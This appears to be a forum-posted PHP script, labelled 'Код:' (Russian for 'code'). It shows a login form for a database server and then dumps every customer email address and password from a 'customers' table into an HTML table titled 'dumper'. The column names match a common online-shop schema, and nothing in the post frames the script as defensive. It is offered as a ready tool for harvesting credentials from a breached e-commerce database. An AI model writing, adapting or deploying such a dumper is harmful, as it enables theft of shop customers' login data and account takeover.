Код:
<html>

<head>
<style type="text/css">
#dumper {border:solid 1px #ff0000; width:auto;}

</style>
</head>

<body>

<?php

$dbhost = $_REQUEST['dbhost']; 
$user   = $_REQUEST['user'];
$pass   = $_REQUEST['pass'];
$dbname   = $_REQUEST['dbname'];
$table = "customers";

if(empty($dbhost))
{print "<form id=DBLOGIN name=DBLOGIN method=post action=>
  <table width=302 border=1>
    <tr>
      <td width=97>Server</td>
      <td width=189><label>
        <input name=dbhost type=text id=dbhost />
      </label></td>
    </tr>
    <tr>
      <td>Username</td>
      <td><label>
        <input name=user type=text id=user />
      </label></td>
    </tr>
    <tr>
      <td>Password</td>
      <td><label>
        <input name=pass type=text id=pass />
      </label></td>
    </tr>
    <tr>
      <td>Database</td>
      <td><label>
        <input name=dbname type=text id=dbname />
      </label></td>
    </tr>
    <tr>
      <td height=28 colspan=2 align=right valign=middle><label>
        <input type=submit name=Submit value=Connect />
      </label></td>
    </tr>
  </table>
</form>";
}else{


if (!@mysql_connect($dbhost,$user,$pass))
{ echo "Could not connect to mysql";exit;}

if (!@mysql_select_db($dbname))
{ echo "No database selected"; }


echo"
<div id=dumper>
<table width=600 border=0>

<tr>
<td align=left valign=middle>Email</td>
<td align=left valign=middle>Password</td>
</tr>";


$result = mysql_query("SELECT customers_email_address,customers_password FROM $table");

while ($mask = mysql_fetch_array($result)) 

{
echo"
<tr>
<td align=left valign=middle>$mask[customers_email_address]</td>
<td align=left valign=middle>$mask[customers_password]</td>
</tr>";
}
echo "</table> </div>";
}
?>
</body>

</html>